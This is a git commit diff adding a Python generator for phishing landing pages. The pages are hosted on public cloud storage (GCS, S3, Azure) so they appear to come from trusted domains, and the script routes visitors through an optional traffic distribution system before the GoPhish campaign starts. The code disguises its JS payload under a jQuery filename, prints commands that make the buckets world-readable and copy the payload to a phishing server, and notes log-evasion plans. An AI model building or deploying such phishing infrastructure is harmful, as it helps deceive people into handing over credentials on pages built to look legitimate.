Add trusted-cloud lander generator with TDS and RId-preserving JS redirect
This commit is contained in:
@@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env python3
|
||||
import re
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlparse
|
||||
from jinja2 import Environment, FileSystemLoader
|
||||
|
||||
from utils.common import COLORS
|
||||
|
||||
_CAMPAIGN_ID_RE = re.compile(r'^[a-zA-Z0-9_-]+$')
|
||||
|
||||
|
||||
def _validate_campaign_id(campaign_id: str) -> str:
|
||||
if not _CAMPAIGN_ID_RE.match(campaign_id):
|
||||
raise ValueError(f"campaign_id contains invalid characters: {campaign_id!r}")
|
||||
return campaign_id
|
||||
|
||||
|
||||
def _validate_https_url(url: str, label: str) -> str:
|
||||
parsed = urlparse(url)
|
||||
if parsed.scheme != 'https' or not parsed.netloc:
|
||||
raise ValueError(f"{label} must be an https:// URL, got: {url!r}")
|
||||
return url
|
||||
|
||||
|
||||
def post_deploy_generate_lander(config: dict) -> None:
|
||||
if not config.get('use_lander'):
|
||||
return
|
||||
|
||||
campaign_id = _validate_campaign_id(config['lander_campaign_id'])
|
||||
provider = config['lander_provider']
|
||||
mode = config['lander_mode']
|
||||
bucket = config['lander_bucket']
|
||||
redirect_url = _validate_https_url(config['lander_redirect_url'], 'redirect_url')
|
||||
phishing_hostname = config.get('phishing_hostname', 'phishing.local')
|
||||
js_payload_url = _validate_https_url(
|
||||
f"https://{phishing_hostname}/static/jq.min.js", 'js_payload_url'
|
||||
)
|
||||
|
||||
template_dir = Path(__file__).parent / 'templates'
|
||||
env = Environment(loader=FileSystemLoader(str(template_dir)))
|
||||
|
||||
context = {
|
||||
'tds_enabled': mode == 'tds',
|
||||
'tds_domains': config.get('lander_tds_domains', []),
|
||||
'js_payload_url': js_payload_url,
|
||||
'redirect_url': redirect_url,
|
||||
}
|
||||
|
||||
html_template = env.get_template('cloud-lander.html.j2')
|
||||
js_template = env.get_template('js-payload.js.j2')
|
||||
|
||||
html_content = html_template.render(context)
|
||||
js_content = js_template.render(context)
|
||||
|
||||
out_dir = Path('.')
|
||||
html_file = out_dir / f'lander-{campaign_id}.html'
|
||||
js_file = out_dir / f'js-payload-{campaign_id}.js'
|
||||
|
||||
html_file.write_text(html_content)
|
||||
js_file.write_text(js_content)
|
||||
|
||||
print(f"\n{COLORS['GREEN']}[+] Lander files generated{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
|
||||
|
||||
if provider == 'gcs':
|
||||
public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
|
||||
upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html"
|
||||
elif provider == 's3':
|
||||
public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
|
||||
upload_cmd = f"aws s3 cp {html_file} s3://{bucket}/index.html --acl public-read"
|
||||
elif provider == 'azure':
|
||||
public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
|
||||
upload_cmd = f"az storage blob upload -f {html_file} -c '$web' -n index.html --account-name {bucket}"
|
||||
else:
|
||||
public_url = f"<unknown provider: {provider}>"
|
||||
upload_cmd = "<unknown provider>"
|
||||
|
||||
print(f"\n{COLORS['YELLOW']}[!] Upload instructions for {COLORS['CYAN']}{provider.upper()}{COLORS['YELLOW']}:{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
|
||||
print(f"\n{COLORS['YELLOW']}[!] Public trusted-domain URL:{COLORS['RESET']}")
|
||||
print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
|
||||
|
||||
print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
|
||||
webserver_scp = f"scp {js_file} user@webserver:/var/www/phishing/static/jq.min.js"
|
||||
print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
|
||||
# ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
|
||||
|
||||
print(f"\n{COLORS['RED']}[!!] CRITICAL: Upload both files BEFORE starting your GoPhish campaign{COLORS['RESET']}\n")
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
test_config = {
|
||||
'use_lander': False,
|
||||
'lander_campaign_id': 'test_001',
|
||||
'lander_provider': 'gcs',
|
||||
'lander_mode': 'simple',
|
||||
'lander_bucket': 'test-bucket',
|
||||
'lander_redirect_url': 'https://phishing.local/login',
|
||||
'phishing_hostname': 'phishing.local',
|
||||
}
|
||||
post_deploy_generate_lander(test_config)
|
||||
print("Self-check passed: disabled lander returned None without errors")
|
||||
Reference in New Issue
Block a user